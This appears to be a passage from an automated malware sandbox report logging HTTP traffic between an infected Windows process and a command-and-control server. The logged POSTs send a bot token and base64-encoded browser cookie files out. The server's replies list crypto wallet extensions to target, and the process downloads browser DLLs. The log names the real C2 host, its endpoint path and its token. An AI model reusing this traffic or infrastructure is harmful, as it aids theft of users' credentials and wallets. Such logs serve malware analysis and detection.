61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="message"fplugins------HCFIIIJJKJKFHIDGDBAK--
Dec 9, 2024 15:28:59.757426977 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:28:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 9, 2024 15:28:59.773195982 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDG Host: 185.215.113.206 Content-Length: 5563 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 15:28:59.773240089 CET	5563	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 9, 2024 15:29:00.732882023 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:28:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 15:29:01.482414007 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 15:29:01.925796986 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 9, 2024 15:29:01.925818920 CET	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 9, 2024 15:29:01.928014994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 15:29:01.928040981 CET	1236	IN	Data Raw: ff 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 51 f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 2a f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc ff ff 83 ec 0c e9 d9 fe ff ff 89 7c 24 08 c7 44 24 Data Ascii: \|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=xgat9$pa\|aQtD$pa$aRR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49726	185.215.113.206	80	3040	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:29:11.215028048 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJECBGIJDGCAEBFIIECA Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IJECBGIJDGCAEBFIIECA--
Dec 9, 2024 15:29:13.049772978 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 15:29:13.326459885 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECAFHDBGHJKFIDHJJJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IECAFHDBGHJKFIDHJJJEContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------IECAFHDBGHJKFIDHJJJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IECAFHDBGHJKFIDHJJJEContent-Disposition: form-data; name="file"------IECAFHDBGHJKFIDHJJJE--
Dec 9, 2024 15:29:14.266177893 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49767	185.215.113.206	80	3040	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:29:26.652858019 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHID Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file"------IJKKKFCFHCFIECBGDHID--
Dec 9, 2024 15:29:28.521001101 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 15:29:28.854967117 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 15:29:29.313637018 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 9, 2024 15:29:29.313654900 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Dec 9, 2024 15:29:29.317624092 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Dec 9, 2024 15:29:29.317645073 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Dec 9, 2024 15:29:29.321311951 CET	1236	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U
Dec 9, 2024 15:29:29.321326971 CET	1236	IN	Data Raw: 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 Data Ascii: WVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVP
Dec 9, 2024 15:29:29.325459957 CET	1236	IN	Data Raw: f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 Data Ascii: hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Dec 9, 2024 15:29:29.325474024 CET	1236	IN	Data Raw: 14 01 00 d3 88 5d e8 0f b6 f3 89 f9 8b 7d f0 8a 1c 37 8b 7d f0 88 1c 07 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc 89 55 d8 83 c7 04 83 c3 04 8b 55 e0 Data Ascii: ]}7}E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[f
Dec 9, 2024 15:29:29.329377890 CET	1236	IN	Data Raw: 0f b6 14 02 00 d1 0f b6 d9 8b 7d f0 8a 34 1f 8b 7d f0 88 34 07 8b 45 f0 88 14 18 8b 5d dc 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 18 09 f0 8b 75 d8 33 45 d4 8b 55 e8 89 04 13 8b 45 e8 83 c6 fc 83 c0 04 89 75 d8 83 fe 03 0f 87 f0 fe ff ff 8b 7d Data Ascii: }4}4E]Uu3EUEu}U}]E]E8u40480u}T20ETEuE14^_[]UM1]U}
Dec 9, 2024 15:29:29.329391956 CET	1236	IN	Data Raw: f3 01 89 9d 60 ff ff ff 8b 9d 74 ff ff ff 8b 53 20 89 95 4c ff ff ff 8b 8d dc fe ff ff 8b 41 10 89 85 ac fe ff ff 89 c6 01 d6 8b 53 24 89 95 1c ff ff ff 8b 41 14 89 85 b0 fe ff ff 89 c7 11 d7 8b 41 30 89 85 d0 fe ff ff 01 c6 89 f3 8b 41 34 89 85 Data Ascii: `tS LAS$AA0A4}qT1QP1kA+]rn<}33Ht{({,]HE]11EuUUu
Dec 9, 2024 15:29:29.329402924 CET	1236	IN	Data Raw: a8 31 c2 89 55 a8 8b 7d 88 31 cf 89 7d 88 8b 45 dc 01 d0 89 45 dc 8b 4d d8 11 f9 89 4d d8 31 c3 31 ce 89 d8 0f a4 f0 08 0f a4 de 08 8b 95 74 ff ff ff 8b 4a 7c 89 8d 50 ff ff ff 8b 7a 78 89 bd 74 ff ff ff 8b 5d d0 01 fb 8b 55 e4 11 ca 01 f3 89 5d Data Ascii: 1U}1}EEMM11tJ\|Pzxt]U]U}1M1xM}}MM11ETMdEMu1uU1EEMM11}`]D
Dec 9, 2024 15:29:30.795346022 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 15:29:31.238464117 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 9, 2024 15:29:32.095518112 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 15:29:32.537839890 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 9, 2024 15:29:33.200782061 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 15:29:33.642605066 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:29:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 9, 2024 15:29:36.683614969 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
